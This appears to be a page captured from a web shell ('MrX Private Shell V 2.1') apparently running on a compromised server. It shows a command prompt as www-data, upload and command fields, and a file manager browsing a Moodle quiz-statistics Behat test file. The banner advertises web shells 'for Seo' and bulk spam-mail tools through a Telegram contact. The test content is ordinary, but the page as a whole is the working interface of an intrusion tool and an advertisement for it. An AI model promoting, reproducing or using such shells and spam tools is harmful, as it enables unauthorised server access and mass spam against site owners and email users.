__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_quiz @quiz @quiz_statistics
Feature: Statistics calculations with random questions
  In order to verify my quizzes are performing well
  As a teacher
  I need the statistics to analyse any random questions they contain

  Background:
    Given the following "users" exist:
      | username |
      | teacher  |
      | student  |
    And the following "courses" exist:
      | fullname | shortname |
      | Course 1 | C1        |
    And the following "course enrolments" exist:
      | user    | course | role           |
      | teacher | C1     | editingteacher |
      | student | C1     | student        |
    And the following "question categories" exist:
      | contextlevel | reference | name           |
      | Course       | C1        | Test questions |

  Scenario: Statistics can be calculated for random essays
    Given the following "questions" exist:
      | questioncategory | qtype  | template | name                    | questiontext |
      | Test questions   | essay  | plain    | Test question 1         |              |
      | Test questions   | essay  | plain    | Test question 2         |              |
      | Test questions   | random |          | Random (Test questions) | 0            |
    And the following "activities" exist:
      | activity   | name   | course | idnumber |
      | quiz       | Quiz 1 | C1     | quiz1    |
    And quiz "Quiz 1" contains the following questions:
      | question                | page |
      | Random (Test questions) | 1    |
    And user "student" has attempted "Quiz 1" with responses:
      | slot | response                   |
      |   1  | Here is my wonderful essay |
    When I am on the "Quiz 1" "mod_quiz > Statistics report" page logged in as teacher
    Then I should see "No attempts have been made at this quiz, or all attempts have questions that need manual grading."

  Scenario: View details works for random questions
    Given the following "questions" exist:
      | questioncategory | qtype       | template    | name                    | questiontext |
      | Test questions   | multichoice | one_of_four | Test question 1         |              |
      | Test questions   | multichoice | one_of_four | Test question 2         |              |
      | Test questions   | random      |             | Random (Test questions) | 0            |
    And the following "activities" exist:
      | activity   | name   | course | idnumber |
      | quiz       | Quiz 1 | C1     | quiz1    |
    And quiz "Quiz 1" contains the following questions:
      | question                | page |
      | Random (Test questions) | 1    |
    And user "student" has attempted "Quiz 1" with responses:
      | slot | response |
      |   1  | One      |
    When I am on the "Quiz 1" "mod_quiz > Statistics report" page logged in as teacher
    And I follow "View details"
    Then I should see "Structural analysis for question number 1"

Filemanager

Name Type Size Permission Actions
basic.feature File 5.45 KB 0777
missing_questions.feature File 2.33 KB 0777
random_questions.feature File 2.86 KB 0777
Filemanager